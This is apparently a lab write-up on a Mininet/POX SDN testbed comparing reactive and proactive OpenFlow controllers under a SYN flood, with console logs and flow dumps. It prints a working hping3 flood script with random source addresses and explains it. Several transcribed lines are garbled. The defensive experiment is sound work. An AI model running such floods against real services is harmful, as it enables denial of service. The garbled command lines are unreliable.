

HTTP request, without DoS, reactive controller:

```
ubuntu@ip-172-31-24-142:~$
Connecting to 10.0.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1006 [text/html]
Saving to: 'STDOUT'

0K [<] 0 ---E/s
<title>Public HTML</title>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="/.bash_history">./bash_history</a>
<li><a href="/.bash_logout">./bash_logout</a>
<li><a href="/.bashrc">./bashrc</a>
<li><a href="/.cache">./cache</a>
<li><a href="/.config">./config</a>
<li><a href="/.mininet_history">./mininet_history</a>
<li><a href="/.mozilla">./mozilla</a>
<li><a href="/.profile">./profile</a>
<li><a href="/.rmdir">./rmdir</a>
<li><a href="/.ssh">./ssh</a>
<li><a href="/.viminfo">./viminfo</a>
<li><a href="/.wtmp">./wtmp</a>
<li><a href="/.Xauthority">./Xauthority</a>
<li><a href="/10731">10731</a>
<li><a href="/click-2.0.1">click-2.0.1</a>
<li><a href="/desktop">desktop</a>
<li><a href="/matplotlib">matplotlib</a>
<li><a href="/mininet">mininet</a>
<li><a href="/minrt0-kernel">minrt0-kernel</a>
<li><a href="/openflow">openflow</a>
<li><a href="/pox">pox</a>
<li><a href="/tarballs">tarballs</a>
</ul>
<hr>
</body>
</html>
100%[=====] 1,006 ---E/s in 0s

2019-02-22 19:15:16 (243 MB/s) - written to stdout [1006/1006]

mininet>
```

HTTP request, with DoS, reactive controller - request failed:

```

ubuntu@ip-172-31-24-142: ~
[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> dump
<Host h1: h1-eth0:10.0.0.1 pid=15527>
<Host h2: h2-eth0:10.0.0.2 pid=15530>
<Host h3: h3-eth0:10.0.0.3 pid=15532>
<OVSwitch s1: 127.0.0.1,s1-eth1:None,s1-eth2:None,s1-eth3:None pid=15537>

[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> dump
<Host h1: h1-eth0:10.0.0.1 pid=15527>
<Host h2: h2-eth0:10.0.0.2 pid=15530>
<Host h3: h3-eth0:10.0.0.3 pid=15532>
<OVSwitch s1: 127.0.0.1,s1-eth1:None,s1-eth2:None,s1-eth3:None pid=15537>

[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> dump
<Host h1: h1-eth0:10.0.0.1 pid=15527>
<Host h2: h2-eth0:10.0.0.2 pid=15530>
<Host h3: h3-eth0:10.0.0.3 pid=15532>
<OVSwitch s1: 127.0.0.1,s1-eth1:None,s1-eth2:None,s1-eth3:None pid=15537>

[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> dump
<Host h1: h1-eth0:10.0.0.1 pid=15527>
<Host h2: h2-eth0:10.0.0.2 pid=15530>
<Host h3: h3-eth0:10.0.0.3 pid=15532>
<OVSwitch s1: 127.0.0.1,s1-eth1:None,s1-eth2:None,s1-eth3:None pid=15537>

[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> dump
<Host h1: h1-eth0:10.0.0.1 pid=15527>
<Host h2: h2-eth0:10.0.0.2 pid=15530>
<Host h3: h3-eth0:10.0.0.3 pid=15532>
<OVSwitch s1: 127.0.0.1,s1-eth1:None,s1-eth2:None,s1-eth3:None pid=15537>

[RemoteController c0: 127.0.0.1:6633 pid=15519]
mininet> h3 ping3 -p 80 -s -flood 10.0.0.1 -i rand-source4
PING 10.0.0.1 (83-eth0:10.0.0.1): S set, 40 headers + 0 data bytesmininet>
mininet> h2 wget -o - hl
-2019-02-22 19:47:01= http://10.0.0.1/
Connecting to 10.0.0.1:80... failed: No route to host.
mininet>

```

hping3 running:

```
ubuntu@ip-172-31-24-142: ~$ cat start_nn.sh
#!/bin/bash
sudo mn -t topo single,3 -mac --controller remote --switch ovsk
ubuntu@ip-172-31-24-142: ~$ ./start_nn.sh
*** Creating network
*** Adding controller
Unable to contact the remote controller at 127.0.0.1:6653
Connecting to remote controller at 127.0.0.1:6653
*** Adding hosts:
h1 h2 h3
*** Adding switches:
s1
*** Adding links:
(h1, s1) (h2, s1) (h3, s1)
*** Configuring hosts
h1 h2 h3
*** Starting controller
c0
*** Starting 1 switches
s1 ...
*** Starting CLI:
mininet> h3 cat attack.sh
#!/bin/bash
hping3 -p 0 -S --flood 10.0.0.1 --rand-source > log.txt &
sleep 30
kill hping3mininet> h3 ./attack.sh
hping in flood mode, no replies will be shown
```

A huge number of flows are inserted:

```
10, hard_timeout=30, idle_age=7, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=125.182.7.241, nw_dst=
10.0.0.1, nw_tos=0, tp_src=4763, tp_dst=80 actions=output:1
cookie=0x0, duration=1.203s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=1, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=67.78.176.169, nw_dst=
10.0.0.1, nw_tos=0, tp_src=15929, tp_dst=80 actions=output:1
cookie=0x0, duration=7.314s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=7, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=120.250.31.253, nw_dst=
10.0.0.1, nw_tos=0, tp_src=4231, tp_dst=80 actions=output:1
cookie=0x0, duration=4.175s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=4, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=128.254.71.231, nw_dst=
10.0.0.1, nw_tos=0, tp_src=13170, tp_dst=80 actions=output:1
cookie=0x0, duration=4.934s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=4, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=64.201.114.244, nw_dst=
10.0.0.1, nw_tos=0, tp_src=1725, tp_dst=80 actions=output:1
cookie=0x0, duration=3.752s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=3, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=126.97.91.145, nw_dst=
10.0.0.1, nw_tos=0, tp_src=14478, tp_dst=80 actions=output:1
cookie=0x0, duration=1.12s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=1, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=172.11.254.208, nw_dst=
10.0.0.1, nw_tos=0, tp_src=19892, tp_dst=80 actions=output:1
cookie=0x0, duration=2.407s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=2, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=55.250.110.132, nw_dst=
10.0.0.1, nw_tos=0, tp_src=17112, tp_dst=80 actions=output:1
cookie=0x0, duration=2.55s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=2, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=222.115.128.133, nw_dst=
10.0.0.1, nw_tos=0, tp_src=16919, tp_dst=80 actions=output:1
cookie=0x0, duration=6.258s, table=0, n_packets=1, n_bytes=54, idle_timeout=
10, hard_timeout=30, idle_age=6, priority=65535, tcp, in_port=3, vlan_tci=0x0000,
dl_src=00:00:00:00:00:03, dl_dst=00:00:00:00:00:01, nw_src=97.12.254.76, nw_dst=
10.0.0.1, nw_tos=0, tp_src=8965, tp_dst=80 actions=output:1
mininet>
```

hping3 generated 2049380 TCP SYN packets in 30s, resulting in 43290 PACKET_IN to the controller:


```
ubuntu@ip-172-31-24-142: ~
mininet> ns hping3 -p 0.0.0.0 -S --flood h1 --rand-source
HPING 10.1.1.1 (83->eth0 10.1.1.1): S set, 40 headers + 0 data bytesmininet>
mininet> h2 wget -O h1 | head -n 20
--2019-02-22 21:46:11-- http://10.1.1.1/
Connecting to 10.1.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1534 (1.5k) [text/html]
Saving to: 'STDOUT'

0K [
<!--DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="/.bash_history">./.bash_history</a>
<li><a href="/.bash_logout">./.bash_logout</a>
<li><a href="/.bashrc">./.bashrc</a>
<li><a href="/.cache">./.cache</a>
<li><a href="/.config">./.config</a>
<li><a href="/.dbus">./.dbus</a>
<li><a href="/.mininet_history">./.mininet_history</a>
<li><a href="/.mozilla">./.mozilla</a>
<li><a href="/.profile">./.profile</a>
<li><a href="/.rmdir">./.rmdir</a>
<li><a href="/.ssh">./.ssh</a>
<li><a href="/.viminfo">./.viminfo</a>
<li><a href="/.vnc">./.vnc</a>
<li><a href="/.wtmp">./.wtmp</a>
100%[=====] 1,534 --.-K/s in 0m

2019-02-22 21:46:11 (344 MB/s) - written to stdout [1534/1534]

mininet>
WARNING:f.t.p.00-00-00-00-01:e2:9a:af:41:59:2f has incorrect IP 10.0.0.3
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:e2:a4:21:63:d0:c6 has incorrect IP 10.0.0.1
INFO:proto.dhcpd:Leased 10.1.1.1 to e2:a4:21:63:d0:c6
WARNING:f.t.p.00-00-00-00-00-01:26:57:e5:de:d0:7a has incorrect IP 10.0.0.2
WARNING:f.t.p.00-00-00-00-00-01:e2:9a:af:41:59:2f has incorrect IP 10.0.0.3
INFO:proto.dhcpd:Leased 10.1.2.1 to 26:57:e5:de:d0:7a
INFO:proto.dhcpd:Leased 10.1.3.1 to e2:9a:af:41:59:2f
*INFO:core:Going down...
INFO:openflow.of_01:[00-00-00-00-01 2] disconnected
DEBUG:f.t.p:Disconnected [00-00-00-00-00-01 2]
INFO:core:Down.
ubuntu@ip-172-31-24-142:~/pox$ ./pox.py log.level --DEBUG forwarding.topo_pro
active.openflow.discovery
POX 0.2.0 (carp) / Copyright 2011-2013 James McCauley, et al.
DEBUG:core:POX 0.2.0 (carp) going up...
DEBUG:core:Running on CPython (2.7.6/Jun 22 2015 17:50:13)
DEBUG:core:Platform is linux-3.13.0-48-generic-x86_64-with-Ubuntu-14.04-trust
y
INFO:core:POX 0.2.0 (carp) is up.
DEBUG:openflow.of_01:Listening on 0.0.0.0:6633
INFO:openflow.of_01:[None 1] closed
INFO:openflow.of_01:[00-00-00-00-00-01 2] connected
DEBUG:openflow.discovery:Installing flow for 00-00-00-00-00-01
DEBUG:f.t.p.00-00-00-00-00-01:Connect [00-00-00-00-00-01 2]
DEBUG:f.t.p:Disabling flooding for 4 ports
WARNING:f.t.p.00-00-00-00-00-01:6a:db:cf:bd:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:46:57:44:29:d0:4c has incorrect IP 10.0.0.2
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:0c:4f:5a:24 has incorrect IP 10.0.0.3
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.1.1 -> 6a:db:cf:bd:11:fe by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.1.1 to 6a:db:cf:bd:11:fe
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.2.1 -> 46:57:44:29:d0:4c by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.2.1 to 46:57:44:29:d0:4c
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.3.1 -> a2:b2:0c:4f:5a:24 by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.3.1 to a2:b2:0c:4f:5a:24
```

hping3 running, however, no flow is generated:

```
ubuntu@ip-172-31-24-142: ~
mininet> h3 cat attack.sh
#!/bin/bash
hping3 -p 0.0.0.0 -S --flood 10.0.0.1 --rand-source > log.txt &
sleep 30
kill hping3mininet> h3 ./attack.sh
hping is flood mode, no replies will be shown

mininet>
ubuntu@ip-172-31-24-142:~/pox$ cat start2.sh
#!/bin/bash
./pox.py log.level --DEBUG forwarding.topo_proactive.openflow.discovery
ubuntu@ip-172-31-24-142:~/pox$ ./start2.sh
POX 0.2.0 (carp) / Copyright 2011-2013 James McCauley, et al.
DEBUG:core:POX 0.2.0 (carp) going up...
DEBUG:core:Running on CPython (2.7.6/Jun 22 2015 17:50:13)
DEBUG:core:Platform is linux-3.13.0-48-generic-x86_64-with-Ubuntu-14.04-trust
y
INFO:core:POX 0.2.0 (carp) is up.
DEBUG:openflow.of_01:Listening on 0.0.0.0:6633
INFO:openflow.of_01:[None 1] closed
INFO:openflow.of_01:[00-00-00-00-00-01 2] connected
DEBUG:openflow.discovery:Installing flow for 00-00-00-00-00-01
DEBUG:f.t.p.00-00-00-00-00-01:Connect [00-00-00-00-00-01 2]
DEBUG:f.t.p:Disabling flooding for 4 ports
WARNING:f.t.p.00-00-00-00-00-01:de:c2:b8:d7:11:4d has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:4a:e0:99:01:2a:07 has incorrect IP 10.0.0.2
WARNING:f.t.p.00-00-00-00-00-01:be:09:24:6b:ff:13a has incorrect IP 10.0.0.3
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.1.1 -> de:c2:b8:d7:11:4d by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.1.1 to de:c2:b8:d7:11:4d
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.2.1 -> 4a:e0:99:01:2a:07 by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.2.1 to 4a:e0:99:01:2a:07
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.3.1 -> be:09:24:6b:ff:13a by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.3.1 to be:09:24:6b:ff:13a
```

The flow table remains clean despite SYN flood attack:


```
mininet> dpctl dump-flows
*** s1
-----
NXST FLOW reply (xid=0x4):
 cookie=0x0, duration=421.369s, table=0, n_packets=1801187, n_bytes=97260487
 2, idle_age=0, ip,nw_dst=10.1.1.1 actions=mod_dl_src:00:00:00:00:01,mod_dl
_dst:a4:2b:c6:d0:11:fe,output:1
 cookie=0x0, duration=412.191s, table=0, n_packets=0, n_bytes=0, idle_age=412
, ip,nw_dst=10.1.3.1 actions=mod_dl_src:00:00:00:00:01,mod_dl_dst:a2:b2:0c
:4f:5a:24,output:3
 cookie=0x0, duration=437.908s, table=0, n_packets=0, n_bytes=0, idle_age=437
, priority=32767,ip,nw_dst=255.255.255.255 actions=output:3,output:1,output:2
 cookie=0x0, duration=416.982s, table=0, n_packets=36, n_bytes=7467, idle_age
=123, ip,nw_dst=10.1.2.1 actions=mod_dl_src:00:00:00:00:01,mod_dl_dst:4e:5
7:44:29:d0:4c,output:2
 cookie=0x0, duration=437.908s, table=0, n_packets=0, n_bytes=0, idle_age=437
, priority=32767,ip,nw_dst=10.1.3.0/24 actions=CONTROLLER:65535
 cookie=0x0, duration=437.908s, table=0, n_packets=0, n_bytes=0, idle_age=437
, priority=32767,ip,nw_dst=10.1.1.0/24 actions=CONTROLLER:65535
 cookie=0x0, duration=437.908s, table=0, n_packets=0, n_bytes=0, idle_age=437
, priority=32767,ip,nw_dst=10.1.2.0/24 actions=CONTROLLER:65535
 cookie=0x0, duration=437.908s, table=0, n_packets=6, n_bytes=2052, idle_age=
412, udp,tp_src=68,tp_dst=67 actions=CONTROLLER:65535
 cookie=0x0, duration=437.908s, table=0, n_packets=0, n_bytes=0, idle_age=437
, priority=65000,d1_dst=01:23:29:00:00:01,d1_type=0x88cc actions=CONTROLLER:6
5535
 cookie=0x0, duration=437.908s, table=0, n_packets=46910, n_bytes=1970220, id
le_age=0, priority=29672,arp actions=CONTROLLER:65535
mininet>

WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.3
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
INFO:proto.dhcpd:Leased 10.1.1.1 to e2:a4:21:68:d0:c6
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.2
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.3
INFO:proto.dhcpd:Leased 10.1.2.1 to 26:57:44:29:d0:4c
INFO:proto.dhcpd:Leased 10.1.3.1 to e2:95:af:64:59:2f
"CINFO:core:Going down..."
INFO:openflow.of_01:[00-00-00-00-01 2] disconnected
DEBUG:f.t.p.Disconnect [00-00-00-00-00-01 2]
INFO:core:Down.
ubuntu@ip-172-31-24-142: ~/pox$ ./pox.py log.level --DEBUG forwarding.topo pro
active openflow.discovery
POX 0.2.0 (carp) / Copyright 2011-2013 James McCauley, et al.
DEBUG:core:POX 0.2.0 (carp) going up...
DEBUG:core:Running on Cryptoch (2.7.6/Jan 22 2015 17:58:13)
DEBUG:core:Platform is Linux-3.13.0-48-generic-x86_64-with-Ubuntu-14.04-trust
y
INFO:core:POX 0.2.0 (carp) is up.
DEBUG:openflow.of_01:Listening on 0.0.0.0:6633
INFO:openflow.of_01:[Name 1] closed
INFO:openflow.of_01:[00-00-00-00-00-01 2] connected
DEBUG:openflow.discovery:Installing flow for 00-00-00-00-00-01
DEBUG:f.t.p.00-00-00-00-00-01:Connect [00-00-00-00-00-01 2]
DEBUG:f.t.p.Disabling flooding for 4 ports
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.1
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.2
WARNING:f.t.p.00-00-00-00-00-01:a2:b2:c6:d0:11:fe has incorrect IP 10.0.0.3
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.1.1 -> 6a:db:cf:bd:11:fe by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.1.1 to 6a:db:cf:bd:11:fe
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.2.1 -> 46:57:44:29:d0:4c by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.2.1 to 46:57:44:29:d0:4c
DEBUG:f.t.p.00-00-00-00-00-01:Learn 10.1.3.1 -> a2:b2:0c:4f:5a:24 by DHCP Lea
se
INFO:proto.dhcpd:Leased 10.1.3.1 to a2:b2:0c:4f:5a:24
```

hping3 generated 5367043 TCP SYN packets, but only 546 OpenFlow messages received by the controller:

```
mininet> h3 cat attack.sh
#!/bin/bash
hping3 -p 80 -S --flood 10.0.0.1 --rand-source > log.txt &
sleep 30
kill hping3mininet> h3 ./attack.sh
hping is flooded mode, no replies will be shown
mininet> cat log.txt
*** Unknown command: cat log.txt
mininet> h3 cat log.txt

--- 10.0.0.1 hping statistic ---
5367043 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
HPING 10.0.0.1 (h3-eth0 10.0.0.1): S set, 40 headers + 0 data bytes
mininet>

ubuntu@ip-172-31-24-142: ~$ sudo tcpdump -i lo "dst port 6633" > out.txt 2>err
.txt
ubuntu@ip-172-31-24-142: ~$ cat err.txt
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
546 packets captured
1092 packets received by filter
0 packets dropped by kernel
ubuntu@ip-172-31-24-142: ~$
```

Attack code explained

```
#!/bin/bash
```

```
hping3 -p 80 -S --flood 10.0.0.1 --rand-source > log.txt &
```

```
sleep 30
```

```
kill hping3
```

The above script invokes hping3 to generate a SYN flood (lasting for 30s) to 10.0.0.1:80 with random source IPs. The frequency of SYN packets are ~100000 per second (from the stats in log.txt).

Difference between reactive and proactive controller:

With reactive controller, during a SYN flood attack, a huge number of requests are sent to the controller, and a huge number of flows are inserted, and the http request is completed blocked.

With proactive controller, during a SYN flood attack, the number of requests sent to the controller is limited, the flow table remains clean, and the http request goes unhindered.